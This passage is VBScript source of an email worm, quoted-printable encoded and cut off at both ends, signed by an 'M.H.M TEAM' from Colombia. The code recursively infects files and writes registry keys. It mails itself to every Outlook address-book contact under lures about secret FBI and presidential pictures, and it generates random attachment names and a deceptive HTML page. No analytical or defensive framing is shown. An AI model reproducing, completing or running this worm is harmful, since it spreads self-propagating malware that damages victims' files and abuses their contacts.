=3D fso.GetFolder(folderspec) set sf =3D f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit =3D CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit =3D CreateObject("WScript.Shell") regget=3Dregedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function sub spreadtoemail() On Error Resume Next dim = x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod set regedit=3DCreateObject("WScript.Shell") set out=3DWScript.CreateObject("Outlook.Application") set mapi=3Dout.GetNameSpace("MAPI") Randomize numero =3D Int(Rnd * 3) + 1 textosub =3D "" If numero =3D 1 Then textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> = (http://WWW.2600.COM)<=3D" Else If numero =3D 2 Then textosub =3D polyname(6) End If End If Randomize numero =3D Int(Rnd * 3) + 1 textobod =3D "" If numero =3D 1 Then textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET = PICTURES.." Else If numero =3D 2 Then textobod =3D polyname(10) End If End If for ctrlists=3D1 to mapi.AddressLists.Count set a=3Dmapi.AddressLists(ctrlists) x=3D1 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv=3D"") then regv=3D1 end if if (int(a.AddressEntries.Count)>int(regv)) then =20 for ctrentries=3D1 to a.AddressEntries.Count correoad=3Da.AddressEntries(x) regad=3D"" = regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corr= eoad) if (regad=3D"") then set correo=3Dout.CreateItem(0) correo.Recipients.Add(correoad) correo.Subject =3D textosub correo.Body =3D vbcrlf&textobod correo.Attachments.Add(dirsystem&polyn) correo.Send regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD" end if x=3Dx+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addr= essEntries.Count else regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=3DNothing Set mapi=3DNothing end sub Function polyname(n) Dim i, vector, texto, pos on error resume next rem polyformic ( ohhhh yeahhh...) very good polyformic engine :() by = Sand Ja9e Gr0w vector =3D Array("A", "E", "I", "O", "U") texto =3D "" Randomize For i =3D 1 To n Randomize rem consonante texto =3D texto&Chr(Int((Rnd * 25) + 65)) i =3D i + 1 If i > n Then exit for end if rem vocal texto =3D texto&vector(Int((Rnd * 4) + 1)) Randomize Next polyname =3D texto End Function sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=3D""&_ ""&vbcrlf& _ "

M.H.M TEAM

Colombia
- Please press #-#YES#-# = button for see secret pictures"&vbcrlf& _ "Hello = Colombia...! Since Here, after, since other part of World.. = "&vbcrlf& _ ""&vbcrlf& _ "